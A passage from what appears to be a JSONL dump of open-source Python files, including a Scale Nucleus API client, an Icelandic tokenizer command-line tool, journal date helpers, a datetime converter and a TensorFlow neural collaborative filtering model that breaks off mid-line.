construct_model_creation_payload(name, reference_id, metadata),\n \"models/add\",\n )\n model_id = response.get(\"model_id\", None)\n if not model_id:\n raise ModelCreationError(response.get(\"error\"))\n\n return Model(model_id, name, reference_id, metadata, self)\n\n @deprecated(\n \"Model runs have been deprecated and will be removed. Use a Model instead\"\n )\n def create_model_run(self, dataset_id: str, payload: dict) -> ModelRun:\n response = self.make_request(\n payload, f\"dataset/{dataset_id}/modelRun/create\"\n )\n if response.get(STATUS_CODE_KEY, None):\n raise ModelRunCreationError(response.get(\"error\"))\n\n return ModelRun(\n response[MODEL_RUN_ID_KEY], dataset_id=dataset_id, client=self\n )\n\n @deprecated(\"Use Dataset.upload_predictions instead.\")\n def predict(\n self,\n annotations: List[\n Union[\n BoxPrediction,\n PolygonPrediction,\n CuboidPrediction,\n SegmentationPrediction,\n CategoryPrediction,\n ]\n ],\n model_run_id: Optional[str] = None,\n model_id: Optional[str] = None,\n dataset_id: Optional[str] = None,\n update: bool = False,\n batch_size: int = 5000,\n ):\n if model_run_id is not None:\n assert model_id is None and dataset_id is None\n endpoint = f\"modelRun/{model_run_id}/predict\"\n else:\n assert (\n model_id is not None and dataset_id is not None\n ), \"Model ID and dataset ID are required if not using model run id.\"\n endpoint = (\n f\"dataset/{dataset_id}/model/{model_id}/uploadPredictions\"\n )\n segmentations = [\n ann\n for ann in annotations\n if isinstance(ann, SegmentationPrediction)\n ]\n\n other_predictions = [\n ann\n for ann in annotations\n if not isinstance(ann, SegmentationPrediction)\n ]\n\n s_batches = [\n segmentations[i : i + batch_size]\n for i in range(0, len(segmentations), batch_size)\n ]\n\n batches = [\n other_predictions[i : i + batch_size]\n for i in range(0, len(other_predictions), batch_size)\n ]\n\n errors = []\n predictions_processed = 0\n predictions_ignored = 0\n\n tqdm_batches = self.tqdm_bar(batches)\n\n for batch in tqdm_batches:\n batch_payload = construct_box_predictions_payload(\n batch,\n update,\n )\n response = self.make_request(batch_payload, endpoint)\n if STATUS_CODE_KEY in response:\n errors.append(response)\n else:\n predictions_processed += response[PREDICTIONS_PROCESSED_KEY]\n predictions_ignored += response[PREDICTIONS_IGNORED_KEY]\n if ERRORS_KEY in response:\n errors += response[ERRORS_KEY]\n\n for s_batch in s_batches:\n payload = construct_segmentation_payload(s_batch, update)\n response = self.make_request(payload, endpoint)\n # pbar.update(1)\n if STATUS_CODE_KEY in response:\n errors.append(response)\n else:\n predictions_processed += response[PREDICTIONS_PROCESSED_KEY]\n predictions_ignored += response[PREDICTIONS_IGNORED_KEY]\n\n return {\n MODEL_RUN_ID_KEY: model_run_id,\n PREDICTIONS_PROCESSED_KEY: predictions_processed,\n PREDICTIONS_IGNORED_KEY: predictions_ignored,\n ERRORS_KEY: errors,\n }\n\n @deprecated(\n \"Model runs have been deprecated and will be removed. Use a Model instead.\"\n )\n def commit_model_run(\n self, model_run_id: str, payload: Optional[dict] = None\n ):\n # TODO: deprecate ModelRun. this should be renamed to calculate_evaluation_metrics\n # or completely removed in favor of Model class methods\n if payload is None:\n payload = {}\n return self.make_request(payload, f\"modelRun/{model_run_id}/commit\")\n\n @deprecated(msg=\"Prefer calling Dataset.info() directly.\")\n def dataset_info(self, dataset_id: str):\n dataset = self.get_dataset(dataset_id)\n return dataset.info()\n\n @deprecated(\n \"Model runs have been deprecated and will be removed. Use a Model instead.\"\n )\n def model_run_info(self, model_run_id: str):\n # TODO: deprecate ModelRun\n return self.make_request(\n {}, f\"modelRun/{model_run_id}/info\", requests.get\n )\n\n @deprecated(\"Prefer calling Dataset.refloc instead.\")\n @sanitize_string_args\n def dataitem_ref_id(self, dataset_id: str, reference_id: str):\n # TODO: deprecate in favor of Dataset.refloc invocation\n return self.make_request(\n {}, f\"dataset/{dataset_id}/refloc/{reference_id}\", requests.get\n )\n\n @deprecated(\"Prefer calling Dataset.predictions_refloc instead.\")\n @sanitize_string_args\n def predictions_ref_id(\n self, model_run_id: str, ref_id: str, dataset_id: Optional[str] = None\n ):\n if dataset_id:\n raise RuntimeError(\n \"Need to pass a dataset id. Or use Dataset.predictions_refloc.\"\n )\n # TODO: deprecate ModelRun\n m_run = self.get_model_run(model_run_id, dataset_id)\n return m_run.refloc(ref_id)\n\n @deprecated(\"Prefer calling Dataset.iloc instead.\")\n def dataitem_iloc(self, dataset_id: str, i: int):\n # TODO: deprecate in favor of Dataset.iloc invocation\n return self.make_request(\n {}, f\"dataset/{dataset_id}/iloc/{i}\", requests.get\n )\n\n @deprecated(\"Prefer calling Dataset.predictions_iloc instead.\")\n def predictions_iloc(self, model_run_id: str, i: int):\n # TODO: deprecate ModelRun\n return self.make_request(\n {}, f\"modelRun/{model_run_id}/iloc/{i}\", requests.get\n )\n\n @deprecated(\"Prefer calling Dataset.loc instead.\")\n def dataitem_loc(self, dataset_id: str, dataset_item_id: str):\n # TODO: deprecate in favor of Dataset.loc invocation\n return self.make_request(\n {}, f\"dataset/{dataset_id}/loc/{dataset_item_id}\", requests.get\n )\n\n @deprecated(\"Prefer calling Dataset.predictions_loc instead.\")\n def predictions_loc(self, model_run_id: str, dataset_item_id: str):\n # TODO: deprecate ModelRun\n return self.make_request(\n {}, f\"modelRun/{model_run_id}/loc/{dataset_item_id}\", requests.get\n )\n\n @deprecated(\"Prefer calling Dataset.create_slice instead.\")\n def create_slice(self, dataset_id: str, payload: dict) -> Slice:\n # TODO: deprecate in favor of Dataset.create_slice\n dataset = self.get_dataset(dataset_id)\n return dataset.create_slice(payload[\"name\"], payload[\"reference_ids\"])\n\n def get_slice(self, slice_id: str) -> Slice:\n # TODO: migrate to Dataset method and deprecate\n \"\"\"Returns a slice object by Nucleus-generated ID.\n\n Parameters:\n slice_id: Nucleus-generated dataset ID (starts with ``slc_``). This can\n be retrieved via :meth:`Dataset.slices` or a Nucleus dashboard URL.\n\n Returns:\n :class:`Slice`: The Nucleus slice as an object.\n \"\"\"\n return Slice(slice_id, self)\n\n @deprecated(\"Prefer calling Slice.info instead.\")\n def slice_info(self, slice_id: str) -> dict:\n # TODO: deprecate in favor of Slice.info\n response = self.make_request(\n {},\n f\"slice/{slice_id}\",\n requests_command=requests.get,\n )\n return response\n\n def delete_slice(self, slice_id: str) -> dict:\n # TODO: migrate to Dataset method and deprecate\n \"\"\"Deletes slice from Nucleus.\n\n Parameters:\n slice_id: Nucleus-generated dataset ID (starts with ``slc_``). This can\n be retrieved via :meth:`Dataset.slices` or a Nucleus dashboard URL.\n\n Returns:\n Empty payload response.\n \"\"\"\n response = self.make_request(\n {},\n f\"slice/{slice_id}\",\n requests_command=requests.delete,\n )\n return response\n\n @deprecated(\"Prefer calling Dataset.delete_annotations instead.\")\n def delete_annotations(\n self, dataset_id: str, reference_ids: list = None, keep_history=False\n ) -> AsyncJob:\n dataset = self.get_dataset(dataset_id)\n return dataset.delete_annotations(reference_ids, keep_history)\n\n def append_to_slice(\n self,\n slice_id: str,\n reference_ids: List[str],\n ) -> dict:\n # TODO: migrate to Slice method and deprecate\n \"\"\"Appends dataset items to an existing slice.\n\n Parameters:\n slice_id: Nucleus-generated dataset ID (starts with ``slc_``). This can\n be retrieved via :meth:`Dataset.slices` or a Nucleus dashboard URL.\n reference_ids: List of user-defined reference IDs of the dataset items\n to append to the slice.\n\n Returns:\n Empty payload response.\n \"\"\"\n\n response = self.make_request(\n {REFERENCE_IDS_KEY: reference_ids}, f\"slice/{slice_id}/append\"\n )\n return response\n\n def list_autotags(self, dataset_id: str) -> List[dict]:\n # TODO: deprecate in favor of Dataset.list_autotags invocation\n response = self.make_request(\n {},\n f\"{dataset_id}/list_autotags\",\n requests_command=requests.get,\n )\n return response[AUTOTAGS_KEY] if AUTOTAGS_KEY in response else response\n\n def delete_autotag(self, autotag_id: str) -> dict:\n # TODO: migrate to Dataset method (use autotag name, not id) and deprecate\n \"\"\"Deletes an autotag by ID.\n\n Parameters:\n autotag_id: Nucleus-generated autotag ID (starts with ``tag_``). This can\n be retrieved via :meth:`list_autotags` or a Nucleus dashboard URL.\n\n Returns:\n Empty payload response.\n \"\"\"\n return self.make_request({}, f\"autotag/{autotag_id}\", requests.delete)\n\n def delete_model(self, model_id: str) -> dict:\n \"\"\"Deletes a model by ID.\n\n Parameters:\n model_id: Nucleus-generated model ID (starts with ``prj_``). This can\n be retrieved via :meth:`list_models` or a Nucleus dashboard URL.\n\n Returns:\n Empty payload response.\n \"\"\"\n response = self.make_request(\n {},\n f\"model/{model_id}\",\n requests_command=requests.delete,\n )\n return response\n\n @deprecated(\"Prefer calling Dataset.create_custom_index instead.\")\n def create_custom_index(\n self, dataset_id: str, embeddings_urls: list, embedding_dim: int\n ):\n # TODO: deprecate in favor of Dataset.create_custom_index invocation\n dataset = self.get_dataset(dataset_id)\n return dataset.create_custom_index(\n embeddings_urls=embeddings_urls, embedding_dim=embedding_dim\n )\n\n @deprecated(\"Prefer calling Dataset.delete_custom_index instead.\")\n def delete_custom_index(self, dataset_id: str):\n # TODO: deprecate in favor of Dataset.delete_custom_index invocation\n return self.make_request(\n {},\n f\"indexing/{dataset_id}\",\n requests_command=requests.delete,\n )\n\n @deprecated(\"Prefer calling Dataset.set_continuous_indexing instead.\")\n def set_continuous_indexing(self, dataset_id: str, enable: bool = True):\n # TODO: deprecate in favor of Dataset.set_continuous_indexing invocation\n return self.make_request(\n {INDEX_CONTINUOUS_ENABLE_KEY: enable},\n f\"indexing/{dataset_id}/setContinuous\",\n requests_command=requests.post,\n )\n\n @deprecated(\"Prefer calling Dataset.create_image_index instead.\")\n def create_image_index(self, dataset_id: str):\n # TODO: deprecate in favor of Dataset.create_image_index invocation\n return self.make_request(\n {},\n f\"indexing/{dataset_id}/internal/image\",\n requests_command=requests.post,\n )\n\n @deprecated(\"Prefer calling Dataset.create_object_index instead.\")\n def create_object_index(\n self, dataset_id: str, model_run_id: str, gt_only: bool\n ):\n # TODO: deprecate in favor of Dataset.create_object_index invocation\n payload: Dict[str, Union[str, bool]] = {}\n if model_run_id:\n payload[\"model_run_id\"] = model_run_id\n elif gt_only:\n payload[\"ingest_gt_only\"] = True\n return self.make_request(\n payload,\n f\"indexing/{dataset_id}/internal/object\",\n requests_command=requests.post,\n )\n\n def delete(self, route: str):\n return self._connection.delete(route)\n\n def get(self, route: str):\n return self._connection.get(route)\n\n def post(self, payload: dict, route: str):\n return self._connection.post(payload, route)\n\n def put(self, payload: dict, route: str):\n return self._connection.put(payload, route)\n\n # TODO: Fix return type, can be a list as well. Brings on a lot of mypy errors ...\n def make_request(\n self,\n payload: Optional[dict],\n route: str,\n requests_command=requests.post,\n ) -> dict:\n \"\"\"Makes a request to a Nucleus API endpoint.\n\n Logs a warning if not successful.\n\n Parameters:\n payload: Given request payload.\n route: Route for the request.\n Requests command: ``requests.post``, ``requests.get``, or ``requests.delete``.\n\n Returns:\n Response payload as JSON dict.\n \"\"\"\n if payload is None:\n payload = {}\n return self._connection.make_request(payload, route, requests_command) # type: ignore\n\n def handle_bad_response(\n self,\n endpoint,\n requests_command,\n requests_response=None,\n aiohttp_response=None,\n ):\n self._connection.handle_bad_response(\n endpoint, requests_command, requests_response, aiohttp_response\n )\n\n def _set_api_key(self, api_key):\n \"\"\"Fetch API key from environment variable NUCLEUS_API_KEY if not set\"\"\"\n api_key = (\n api_key if api_key else os.environ.get(\"NUCLEUS_API_KEY\", None)\n )\n if api_key is None:\n raise NoAPIKey()\n\n return api_key\n", "source": "scaleapi/nucleus-python-client", "license": "MIT"} {"text": "#!/usr/bin/env python\n\"\"\"\n\n Tokenizer for Icelandic text\n\n Copyright (C) 2021 Mi\u00f0eind ehf.\n Original author: Vilhj\u00e1lmur \u00deorsteinsson\n\n This software is licensed under the MIT License:\n\n Permission is hereby granted, free of charge, to any person\n obtaining a copy of this software and associated documentation\n files (the \"Software\"), to deal in the Software without restriction,\n including without limitation the rights to use, copy, modify, merge,\n publish, distribute, sublicense, and/or sell copies of the Software,\n and to permit persons to whom the Software is furnished to do so,\n subject to the following conditions:\n\n The above copyright notice and this permission notice shall be\n included in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\n This is an executable program wrapper (main module) for the Tokenizer\n package. It can be used to invoke the Tokenizer from the command line,\n or via fork() or exec(), with the command 'tokenize'. The main() function\n of this module is registered as a console_script entry point in setup.py.\n\n\"\"\"\n\nfrom typing import TextIO, Dict, Iterator, List, Callable, Any, Tuple, Union, cast\n\nimport sys\nimport argparse\nimport json\nfrom functools import partial\n\nfrom .definitions import AmountTuple, BIN_Tuple, NumberTuple, PunctuationTuple\nfrom .tokenizer import TOK, Tok, tokenize\n\n\nReadFile = argparse.FileType(\"r\", encoding=\"utf-8\")\nWriteFile = argparse.FileType(\"w\", encoding=\"utf-8\")\n\n# Define the command line arguments\n\nparser = argparse.ArgumentParser(description=\"Tokenizes Icelandic text\")\n\nparser.add_argument(\n \"infile\",\n nargs=\"?\",\n type=ReadFile,\n default=sys.stdin,\n help=\"UTF-8 text file to tokenize\",\n)\n\nparser.add_argument(\n \"outfile\",\n nargs=\"?\",\n type=WriteFile,\n default=sys.stdout,\n help=\"UTF-8 output text file\",\n)\n\ngroup = parser.add_mutually_exclusive_group()\n\ngroup.add_argument(\n \"--csv\", help=\"Output one token per line in CSV format\", action=\"store_true\"\n)\ngroup.add_argument(\n \"--json\", help=\"Output one token per line in JSON format\", action=\"store_true\"\n)\n\nparser.add_argument(\n \"-s\",\n \"--one_sent_per_line\",\n action=\"store_true\",\n help=\"Input contains one sentence per line\",\n)\n\nparser.add_argument(\n \"-m\",\n \"--convert_measurements\",\n action=\"store_true\",\n help=\"Degree signal in temperature tokens normalized (200\u00b0 C -> 200 \u00b0C)\",\n)\n\nparser.add_argument(\n \"-p\",\n \"--coalesce_percent\",\n action=\"store_true\",\n help=(\n \"Numbers combined into one token with percentage word forms \"\n \"(pr\u00f3sent/pr\u00f3sentustig/hundra\u00f0shlutar)\"\n ),\n)\n\nparser.add_argument(\n \"-n\",\n \"--normalize\",\n action=\"store_true\",\n help=\"Outputs normalized value of punctuation tokens instead of original text\",\n)\n\nparser.add_argument(\n \"-o\", \"--original\", action=\"store_true\", help=\"Outputs original text of tokens\",\n)\n\nparser.add_argument(\n \"-g\",\n \"--keep_composite_glyphs\",\n action=\"store_true\",\n help=\"Composite glyphs not replaced with a single code point\",\n)\n\nparser.add_argument(\n \"-e\",\n \"--replace_html_escapes\",\n action=\"store_true\",\n help=\"Escape codes from HTML replaced\",\n)\n\nparser.add_argument(\n \"-c\",\n \"--convert_numbers\",\n action=\"store_true\",\n help=(\n \"English-style decimal points and thousands separators \"\n \"in numbers changed to Icelandic style\"\n ),\n)\n\nparser.add_argument(\n \"-k\",\n \"--handle_kludgy_ordinals\",\n type=int,\n default=0,\n help=(\n \"Kludgy ordinal handling defined.\\n\"\n \"\\t0: Returns the original word form.\\n\"\n \"\\t1: Ordinals returned as pure words.\\n\"\n \"\\t2: Ordinals returned as numbers.\"\n ),\n)\n\n\ndef main() -> None:\n \"\"\" Main function, called when the tokenize command is invoked \"\"\"\n\n args = parser.parse_args()\n options: Dict[str, bool] = dict()\n\n def quote(s: str) -> str:\n \"\"\" Return the string s within double quotes, and with any contained\n backslashes and double quotes escaped with a backslash \"\"\"\n return '\"' + s.replace(\"\\\\\", \"\\\\\\\\\").replace('\"', '\\\\\"') + '\"'\n\n def spanquote(l: List[int]) -> str:\n \"\"\" Return the list l as a string within double quotes \"\"\"\n return '\"' + \"-\".join(str(x) for x in l) + '\"'\n\n def gen(f: TextIO) -> Iterator[str]:\n \"\"\" Generate the lines of text in the input file \"\"\"\n for line in f:\n yield line\n\n def val(t: Tok, quote_word: bool = False) -> Any:\n \"\"\" Return the value part of the token t \"\"\"\n if t.val is None:\n return None\n if t.kind == TOK.WORD:\n # Get the full expansion of an abbreviation\n mm = cast(List[BIN_Tuple], t.val)\n if quote_word:\n # Return a |-delimited list of possible meanings,\n # joined into a single string\n return quote(\"|\".join(m[0] for m in mm))\n # Return a list of all possible meanings\n return [m[0] for m in mm]\n if t.kind in {TOK.PERCENT, TOK.NUMBER, TOK.CURRENCY}:\n return cast(NumberTuple, t.val)[0]\n if t.kind == TOK.AMOUNT:\n am = cast(AmountTuple, t.val)\n if quote_word:\n # Format as \"1234.56|USD\"\n return '\"{0}|{1}\"'.format(am[0], am[1])\n return am[0], am[1]\n if t.kind == TOK.S_BEGIN:\n return None\n if t.kind == TOK.PUNCTUATION:\n pt = cast(PunctuationTuple, t.val)\n return quote(pt[1]) if quote_word else pt[1]\n if quote_word and t.kind in {\n TOK.DATE,\n TOK.TIME,\n TOK.DATEABS,\n TOK.DATEREL,\n TOK.TIMESTAMP,\n TOK.TIMESTAMPABS,\n TOK.TIMESTAMPREL,\n TOK.TELNO,\n TOK.NUMWLETTER,\n TOK.MEASUREMENT,\n }:\n # Return a |-delimited list of numbers\n vv = cast(Tuple[Any, ...], t.val)\n return quote(\"|\".join(str(v) for v in vv))\n if quote_word and isinstance(t.val, str):\n return quote(t.val)\n return t.val\n\n to_text: Callable[[Tok], str]\n if args.normalize:\n to_text = lambda t: t.punctuation if t.kind == TOK.PUNCTUATION else t.txt\n elif args.original:\n to_text = lambda t: t.original or \"\"\n else:\n to_text = lambda t: t.txt\n\n if args.convert_measurements:\n options[\"convert_measurements\"] = True\n\n if args.coalesce_percent:\n options[\"coalesce_percent\"] = True\n\n if args.keep_composite_glyphs:\n # True is the default in tokenizer.py\n options[\"replace_composite_glyphs\"] = False\n\n if args.replace_html_escapes:\n options[\"replace_html_escapes\"] = True\n\n if args.convert_numbers:\n options[\"convert_numbers\"] = True\n\n if args.one_sent_per_line:\n options[\"one_sent_per_line\"] = True\n\n if args.handle_kludgy_ordinals:\n options[\"handle_kludgy_ordinals\"] = args.handle_kludgy_ordinals\n\n if args.original:\n options[\"original\"] = args.original\n\n # Configure our JSON dump function\n json_dumps = partial(json.dumps, ensure_ascii=False, separators=(\",\", \":\"))\n curr_sent: List[str] = []\n sep = \"\" if args.original else \" \"\n\n for t in tokenize(gen(args.infile), **options):\n if args.csv:\n # Output the tokens in CSV format, one line per token\n if t.txt:\n print(\n \"{0},{1},{2},{3},{4}\".format(\n t.kind,\n quote(t.txt),\n val(t, quote_word=True) or '\"\"',\n '\"\"' if t.original is None else quote(t.original),\n \"[]\" if t.origin_spans is None else spanquote(t.origin_spans),\n ),\n file=args.outfile,\n )\n elif t.kind == TOK.S_END:\n # Indicate end of sentence\n print('0,\"\",\"\",\"\",\"\"', file=args.outfile)\n elif args.json:\n # Output the tokens in JSON format, one line per token\n d: Dict[str, Union[str, List[int]]] = dict(k=TOK.descr[t.kind])\n if t.txt is not None:\n d[\"t\"] = t.txt\n v = val(t)\n if v is not None:\n d[\"v\"] = v\n if t.original is not None:\n d[\"o\"] = t.original\n if t.origin_spans is not None:\n d[\"s\"] = t.origin_spans\n print(json_dumps(d), file=args.outfile)\n else:\n # Normal shallow parse, one line per sentence,\n # tokens separated by spaces\n txt = to_text(t)\n if txt:\n curr_sent.append(txt)\n if curr_sent:\n print(sep.join(curr_sent), file=args.outfile)\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "\"\"\" This module contains helper functions for journal.py \"\"\"\n\n# For current date and time\nimport datetime\n\n# Importing Colorama for cross-platform colored text\nimport colorama\nfrom colorama import Fore\n\n\ndef print_intro():\n \"\"\" Prints a welcome message to the user. \"\"\"\n colorama.init(autoreset=True)\n print('\\n=====================================')\n print(Fore.YELLOW + 'Welcome to The Grand Budapest Journal')\n print('=====================================\\n')\n colorama.deinit()\n\n\ndef print_datetime():\n \"\"\" Prints current date and time. \"\"\"\n colorama.reinit()\n print('Date: ' + Fore.CYAN + get_date())\n print('Time: ' + Fore.GREEN + get_time())\n colorama.deinit()\n\n\ndef get_date():\n \"\"\" Returns today's date in the following format.\n e.g. 'Tue, Jan 03 2017'\n \"\"\"\n days = ('Mon', 'Tue', 'Wed', 'Thur', 'Fri', 'Sat', 'Sun')\n today = datetime.datetime.now().strftime(\"%b %d %Y\")\n date = days[datetime.datetime.today().weekday()]\n return date + ', ' + today\n\n\ndef get_iso_date():\n \"\"\" Returns today's date in ISO format: YYYY_MM_DD \"\"\"\n return datetime.date.today().isoformat()\n\n\ndef get_time():\n \"\"\" Returns current time in the following format.\n e.g. '10:30 PM'\n \"\"\"\n return datetime.datetime.now().strftime(\"%I:%M %p\")\n", "source": "thawsitt/Journal.ly", "license": "MIT"} {"text": "\"\"\"\n.. codeauthor:: Tsuyoshi Hombashi \n\"\"\"\n\nfrom datetime import date, datetime\n\nfrom .._common import strip_ansi_escape\nfrom .._const import DefaultValue, ParamKey\nfrom ..error import TypeConversionError\nfrom ._interface import AbstractValueConverter\n\n\nclass DateTimeConverter(AbstractValueConverter):\n\n __DAYS_TO_SECONDS_COEF = 60 ** 2 * 24\n __MICROSECONDS_TO_SECONDS_COEF = 1000 ** 2\n __COMMON_DST_TIMEZONE_TABLE = {\n -36000: \"America/Adak\", # -1000\n -32400: \"US/Alaska\", # -0900\n -28800: \"US/Pacific\", # -0800\n -25200: \"US/Mountain\", # -0700\n -21600: \"US/Central\", # -0600\n -18000: \"US/Eastern\", # -0500\n -14400: \"Canada/Atlantic\", # -0400\n -12600: \"America/St_Johns\", # -0330\n -10800: \"America/Miquelon\", # -0300\n 7200: \"Africa/Tripoli\", # 0200\n }\n\n def __init__(self, value, params):\n super().__init__(value, params)\n\n self.__datetime = None\n self.__timezone = self._params.get(ParamKey.TIMEZONE)\n\n def force_convert(self):\n self.__datetime = self.__from_datetime()\n if self.__datetime:\n return self.__datetime\n\n self.__datetime = self.__from_timestamp()\n if self.__datetime:\n return self.__datetime\n\n return self.__from_datetime_string()\n\n def __from_datetime(self):\n if not isinstance(self._value, (date, datetime)):\n return None\n\n if isinstance(self._value, datetime):\n self.__datetime = self._value\n elif isinstance(self._value, date):\n self.__datetime = datetime(\n year=self._value.year, month=self._value.month, day=self._value.day\n )\n\n if self.__timezone:\n self.__datetime = self.__timezone.localize(self.__datetime)\n\n return self.__datetime\n\n def __from_timestamp(self):\n from ..type._integer import Integer\n from ..type._realnumber import RealNumber\n\n conv_error = TypeConversionError(\n \"timestamp is out of the range of values supported by the platform\"\n )\n\n timestamp = Integer(self._value, strict_level=1).try_convert()\n if timestamp:\n try:\n self.__datetime = datetime.fromtimestamp(timestamp, self.__timezone)\n except (ValueError, OSError, OverflowError):\n raise conv_error\n\n return self.__datetime\n\n timestamp = RealNumber(self._value, strict_level=1).try_convert()\n if timestamp:\n try:\n self.__datetime = datetime.fromtimestamp(int(timestamp), self.__timezone).replace(\n microsecond=int((timestamp - int(timestamp)) * 1000000)\n )\n except (ValueError, OSError, OverflowError):\n raise conv_error\n\n return self.__datetime\n\n return None\n\n def __from_datetime_string(self):\n import dateutil.parser\n import pytz\n\n self.__validate_datetime_string()\n\n try:\n self.__datetime = dateutil.parser.parse(self._value)\n except (AttributeError, ValueError, OverflowError):\n if self._params.get(ParamKey.STRIP_ANSI_ESCAPE, DefaultValue.STRIP_ANSI_ESCAPE):\n try:\n self.__datetime = dateutil.parser.parse(strip_ansi_escape(self._value))\n except (AttributeError, ValueError, OverflowError):\n pass\n\n if self.__datetime is None:\n raise TypeConversionError(\n \"failed to parse as a datetime: type={}\".format(type(self._value))\n )\n\n if self.__timezone:\n pytz_timezone = self.__timezone\n else:\n try:\n dst_timezone_name = self.__get_dst_timezone_name(self.__get_timedelta_sec())\n except (AttributeError, KeyError):\n return self.__datetime\n\n pytz_timezone = pytz.timezone(dst_timezone_name)\n\n self.__datetime = self.__datetime.replace(tzinfo=None)\n self.__datetime = pytz_timezone.localize(self.__datetime)\n\n return self.__datetime\n\n def __get_timedelta_sec(self):\n dt = self.__datetime.utcoffset()\n\n return int(\n dt.days * self.__DAYS_TO_SECONDS_COEF\n + float(dt.seconds)\n + dt.microseconds / self.__MICROSECONDS_TO_SECONDS_COEF\n )\n\n def __get_dst_timezone_name(self, offset):\n return self.__COMMON_DST_TIMEZONE_TABLE[offset]\n\n def __validate_datetime_string(self):\n \"\"\"\n This will require validating version string (such as \"3.3.5\").\n A version string could be converted to a datetime value if this\n validation is not executed.\n \"\"\"\n\n from packaging.version import InvalidVersion, Version\n\n try:\n try:\n Version(self._value)\n raise TypeConversionError(\n \"invalid datetime string: version string found {}\".format(self._value)\n )\n except InvalidVersion:\n pass\n except TypeError:\n raise TypeConversionError(\"invalid datetime string: type={}\".format(type(self._value)))\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "\"\"\"\nXiangnan He et al., \"Neural Collaborative Filtering.\" in WWW 2017.\n@author: WuBin\n\"\"\"\nfrom model.AbstractRecommender import AbstractRecommender\nimport tensorflow as tf\nimport numpy as np\nfrom time import time\nfrom util import data_generator, learner, tool\nfrom util.data_iterator import DataIterator\nfrom util import l2_loss\nfrom data import PointwiseSampler, PairwiseSampler\n\n\nclass MLP(AbstractRecommender):\n def __init__(self, sess, dataset, conf):\n super(MLP, self).__init__(dataset, conf)\n self.layers = conf[\"layers\"]\n self.learning_rate = conf[\"learning_rate\"]\n self.is_pairwise = conf[\"is_pairwise\"]\n self.learner = conf[\"learner\"]\n self.num_epochs = conf[\"epochs\"]\n self.num_negatives = conf[\"num_neg\"]\n self.reg_mlp = conf[\"reg_mlp\"]\n self.batch_size = conf[\"batch_size\"]\n self.loss_function = conf[\"loss_function\"]\n self.verbose = conf[\"verbose\"]\n self.num_negatives = conf[\"num_neg\"]\n self.init_method = conf[\"init_method\"]\n self.stddev = conf[\"stddev\"]\n self.dataset = dataset\n self.num_users = dataset.num_users\n self.num_items = dataset.num_items\n self.sess = sess\n \n def _create_placeholders(self):\n with tf.name_scope(\"input_data\"):\n self.user_input = tf.placeholder(tf.int32, shape=[None], name='user_input')\n self.item_input = tf.placeholder(tf.int32, shape=[None], name='item_input')\n if self.is_pairwise is True:\n self.item_input_neg = tf.placeholder(tf.int32, shape=[None], name=\"item_input_neg\")\n else:\n self.labels = tf.placeholder(tf.float32, shape=[None], name=\"labels\")\n \n def _create_variables(self):\n with tf.name_scope(\"embedding\"): # The embedding initialization is unknown now\n initializer = tool.get_initializer(self.init_method, self.stddev)\n self.mlp_embedding_user = tf.Variable(initializer([self.num_users, int(self.layers[0]/2)]),\n name=\"mlp_embedding_user\", dtype=tf.float32)\n self.mlp_embedding_item = tf.Variable(initializer([self.num_items, int(self.layers[0]/2)]),\n name=\"mlp_embedding_item\", dtype=tf.float32)\n\n self.dense_layer = [tf.layers.Dense(units=n_units, activation=tf.nn.relu, name=\"layer%d\" % idx)\n for idx, n_units in enumerate(self.layers)]\n\n def _create_inference(self, item_input):\n with tf.name_scope(\"inference\"):\n # Crucial to flatten an embedding vector!\n mlp_user_latent = tf.nn.embedding_lookup(self.mlp_embedding_user, self.user_input)\n mlp_item_latent = tf.nn.embedding_lookup(self.mlp_embedding_item, item_input)\n # The 0-th layer is the concatenation of embedding layers\n mlp_vector = tf.concat([mlp_user_latent, mlp_item_latent], axis=1)\n # MLP layers\n for layer in self.dense_layer:\n mlp_vector = layer(mlp_vector)\n # for idx in np.arange(len(self.layers)):\n # mlp_vector = tf.layers.dense(mlp_vector, units=self.layers[idx],\n # activation=tf.nn.relu, name=\"layer%d\" % idx)\n \n # Final prediction layer\n predict = tf.reduce_sum(mlp_vector, 1)\n return mlp_user_latent, mlp_item_latent, predict\n \n def _create_loss(self):\n with tf.name_scope(\"loss\"): \n p1, q1, self.output = self._create_inference(self.item_input)\n if self.is_pairwise is True:\n _, q2, self.output_neg = self._create_inference(self.item_input_neg)\n result = self.output - self.output_neg\n self.loss = learner.pairwise_loss(self.loss_function, result) + self.reg_mlp * l2_loss(p1, q2, q1)\n else:\n self.loss = learner.pointwise_loss(self.loss_function, self.labels, self.output) + \\\n self.reg_mlp * l2_loss(p1, q1)\n\n def _create_optimizer(self):\n with tf.name_scope(\"learner\"):\n self.optimizer = learner.optimizer(self.learner, self.loss, self.learning_rate)\n \n def build_graph(self):\n self._create_placeholders()\n self._create_variables()\n self._create_loss()\n self._create_optimizer()\n \n def train_model(self):\n self.logger.info(self.evaluator.metrics_info())\n for epoch in range(1,self.num_epochs+1):\n # Generate training instances\n if self.is_pairwise is True:\n data_iter = PairwiseSampler(self.dataset, neg_num=1, batch_size=self.batch_size, shuffle=True, drop_last=False)\n else:\n data_iter = PointwiseSampler(self.dataset, neg_num=self.num_negatives, batch_size=self.batch_size, shuffle=True, drop_last=False)\n \n total_loss = 0.0\n training_start_time = time()\n num_training_instances = len(data_iter)\n if self.is_pairwise is True:\n for bat_users, bat_items_pos, bat_items_neg in data_iter:\n feed_dict = {self.user_input: bat_users,\n self.item_input: bat_items_pos,\n self.item_input_neg: bat_items_neg}\n loss, _ = self.sess.run((self.loss, self.optimizer), feed_dict=feed_dict)\n total_loss += loss\n else:\n for bat_users, bat_items, bat_labels in data_iter:\n feed_dict = {self.user_input: bat_users,\n self.item_input: bat_items,\n self.labels: bat_labels}\n loss, _ = self.sess.run((self.loss, self.optimizer), feed_dict=feed_dict)\n total_loss += loss\n self.logger.info(\"[iter %d : loss : %f, 